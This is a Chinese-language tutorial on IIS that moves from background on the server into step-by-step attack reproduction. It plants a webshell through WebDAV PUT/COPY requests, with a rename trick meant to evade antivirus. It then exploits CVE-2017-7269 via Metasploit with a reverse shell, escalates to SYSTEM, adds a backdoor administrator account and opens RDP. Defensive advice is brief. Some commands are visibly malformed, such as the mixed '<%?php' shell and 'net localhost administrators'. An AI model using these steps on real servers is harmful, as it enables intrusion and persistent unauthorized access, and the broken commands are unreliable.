0x01 IIS简介
IIS全程为Internet Information Service, 是基于运行Microsoft Windows的一个web server,类似于java里面的tomcat。IIS是一套环境工具,不是操作系统,是安装在windows上的web平台。
IIS是一种Web(网页)服务组件,其中包括Web服务器、FTP服务器、NNTP服务器和SMTP服务器,分别用于网页浏览、文件传输、新闻服务和邮件发送等方面。其结构如下图所示:
IIS怎么工作的IIS通过多种标准语言和协议工作。HTML用于创建元素,例如文本,按钮,图像放置,直接交互/行为和超链接。HTTP是用于在Web服务器和用户之间交换信息的基本通信协议。HTTPS(安全套接字层(SSL)上的HTTP)-使用传输层安全性或SSL加密通信以增加数据安全性。文件传输协议(FTP)或其安全变体FTPS可以传输文件。IIS和ASP.net coreASP.NET Core框架是最新一代的Active Server Page(ASP)框架,这是一种可生成交互式网页的服务器端脚本引擎。一个请求从Web传入IIS服务器,然后将请求发送到ASP.NET Core应用程序,该应用程序处理该请求并将其响应发送回IIS服务器和发起该请求的客户端。可以用ASP.NET Core编写的应用程序,例如博客平台和内容管理系统(CMS)。开发人员可以使用许多工具(包括WebDAV)开发IIS网站,这些工具可以创建和发布Web内容。开发人员还可以使用集成开发工具,例如Microsoft Visual Studio。IIS的版本IIS作为微软的产品与Microsoft Windows一起发展。IIS的早期版本随Windows NT(New Technology)一起提供。IIS 1.0与Windows NT 3.51一起出现,并且是通过带有Windows NT 4.0的IIS 4.0演变而来的。Windows 2000附带了IIS5.0。Microsoft在Windows Server 2003中添加了IIS6.0。IIS7.0对Windows Server 2008进行了重大重新设计(IIS 7.5在Windows Server 2008 R2中)。Windows Server 2012附带IIS 8.0(Windows Server 2012 R2使用IIS 8.5)。IIS 10随Windows Server 2016和Windows 10一起提供。在IIS的每次迭代中,Microsoft添加了新功能并更新了现有功能。例如,IIS 3.0为动态脚本添加了ASP。IIS 6.0增加了对IPv6的支持,并提高了安全性和可靠性。IIS 8.0在非统一内存访问硬件,集中式SSL证书支持和服务器名称指示上实现了多核扩展。IIS与Apache区别IIS和Apache之间的差异包括:IIS与Windows打包在一起,而Apache是免费和开源的。尽管IIS仅在Windows上运行,但Apache几乎可以在任何操作系统上运行,包括macOS,UNIX和Linux(最适合Linux)。1.IIS与其他Microsoft产品集成,例如.NET和ASPX脚本语言。2.IIS有一个服务台来处理大多数问题,而对Apache的支持来自用户社区。3.IIS的安全功能使其成为比Apache更安全的选择。4.IIS的基础技术与全世界的标准Web界面兼容。
0x02 IIS漏洞
1.PUT上传漏洞解析漏洞原理介绍
1. 当建立 *.asa、*.asp 格式的文件夹时,其目录下的任意文件都被IIS当做asp文件解析 2. 当文件是 *.asp;1.jpg ,IIS6.0同样会将文件作为asp文件解析
同时以下三种也可作为asp文件执行(只要是用asp.dll解析的文件,都可以被当做asp执行),也可以手动设置后缀名 test.asa;1.jpg test.cer;1.jpg test.cdx;1.jpg
PUT上传原理WebDVA 基于HTTP1.1协议的通信协议使得HTTP支持PUT MOVE COPY DELETE方法1.探测是否存在IIS PUT 漏洞
OPTIONS /HTTP1.1 Host:www.xxx.com
2.上传txt文件
PUT /a.txt HTTP1.1 Host:www.xxx.com Content-Length:30 <%?php eval($_POST['a']);?%> #上传的文件内容
3.通过Move或Copy重命名
COPY /a.txt HTTP1.1 Host:www.xxx.com Destination:http://www.xxx.com/cmd.asp;.txt #将a.txt重命名为cmd.asp(由于解析漏洞)
4.删除
DELETE /a.txt HTTP1.1 Host:www.xxx.com
PUT上传探测OPTIONS 探测 和 自动化工具探测(kali中的nikto)
#利用nikto探测 -nikto -h IP
PUT上传利用(漏洞复现)
利用burpsuite抓包,根据PUT上传原理,修改相关参数
PUT的利用第一行改为 PUT /123.txt HTTP1.1将一句话木马<%?php eval($_POST[‘a’]);?%>写在最后
COPY的利用将根目录下的文件123.txt 重命名为 123.asp;aaa.jpg(这样操作符合解析漏洞,又能避免查杀)
下面就可以利用Cknife、蚁剑等软件getshellPUT文件上传防范1.主目录关闭写入权限2.WebDVA设置为禁止解析漏洞防范1.自己编写正则表达式,禁止上传xx.asp;.jpg类型的文件2.做好权限设置,限制用户创建文件夹补充:HTTP 中请求方式汇总
1. OPTION返回服务器针对特定资源所支持的HTTP请求方法,也可以利用向web服务器发送 ‘*’ 的请求测试服务器的功能性2. HEAD与GET方法类似,只不过不返回消息体。
HEAD的用法 检查资源有效性 检查超链接的有效性 检查网页是否被篡改 多用于自动搜索机器人获取网页的标志信息,获取rss种子信息,或者传递安全认证信息等
3. PUT向指定位置上传新的内容,用作添加内容4. DELETE请求服务器删除Request-URL所标识的资源5. TRACE回显服务器收到的请求,主要用于测试或诊断6. CONNECTHTTP/1.1 中预留给能够将连接改为管道方式的代理服务器
2.IIS6.0 远程代码执行漏洞 CVE-2017-7269
漏洞描述
IIS 6.0默认不开启WebDAV,一旦开启了WebDAV,安装了IIS6.0的服务器将可能受到该漏洞的威胁。影响版本以及利用条件Windows 2003 R2开启WebDAV服务的IIS6.0漏洞复现
1.IIS开启WebDAV
工具检测存在CVE-2017-7269漏洞
Exp下载地址:
https://github.com/zcgonvh/cve-2017-7269
把exp放入到msf中,#注意模块的命名名称,单词之间加下划线
这个地方有个坑,下载的exp:cve-2017-7269 直接放在metasploit中是不能加载识别的,得把cve-2017-7269修改为cve_2017_7269将桌面上的cve_2017_7269.rb复制到/usr/share/metasploit-framework/modules/exploits/windows/iis/目录下命令:
cp /root/桌面/cve_2017_7269.rb /usr/share/metasploit-framework/modules/exploits/windows/iis/
给cve_2017_7269.rb执行权限
打开metasploit重新加载exp模块,加载完模块之后,exp数量会增加1
4.使用模块,设置参数
设置参数模块如下设置即可忘记截图了一个,还有一个命令:set lhost 192.168.36.129(kali地址)
返回shell,查看当前用户权限,发现是一般用户权限
cd到网站目录,寻找一个可以创建文件夹的目录,一个一个寻找
按Ctrl + C退出shell,输出y
利用Metasploit的上传功能,把提权工具iis6.exe上传到刚刚新建的文件里(提权工具有很多,iis6.exe,pr.exe等等)
又回到shell里面确定工具上传是否成功
利用工具进行提权,命令:iis6.exe “whoami”,已经是system权限了
进行新建用户,iis6.exe “net user xiaohua xiaohua123 /add”
添加用户到管理员,iis6.exe “net localhost administrators xiaohua /add”
查看远程连接是否打开,没有打开,命令:netstat -an
再上传一个开3389.bat,利用iis6.exe运行,打开目标机的3389端口(上传3389.bat的方法和上面iis6.exe上传方法一样)
命令:iis6.exe “3389.bat”
查看是否打开,netstat -an,已经成功打开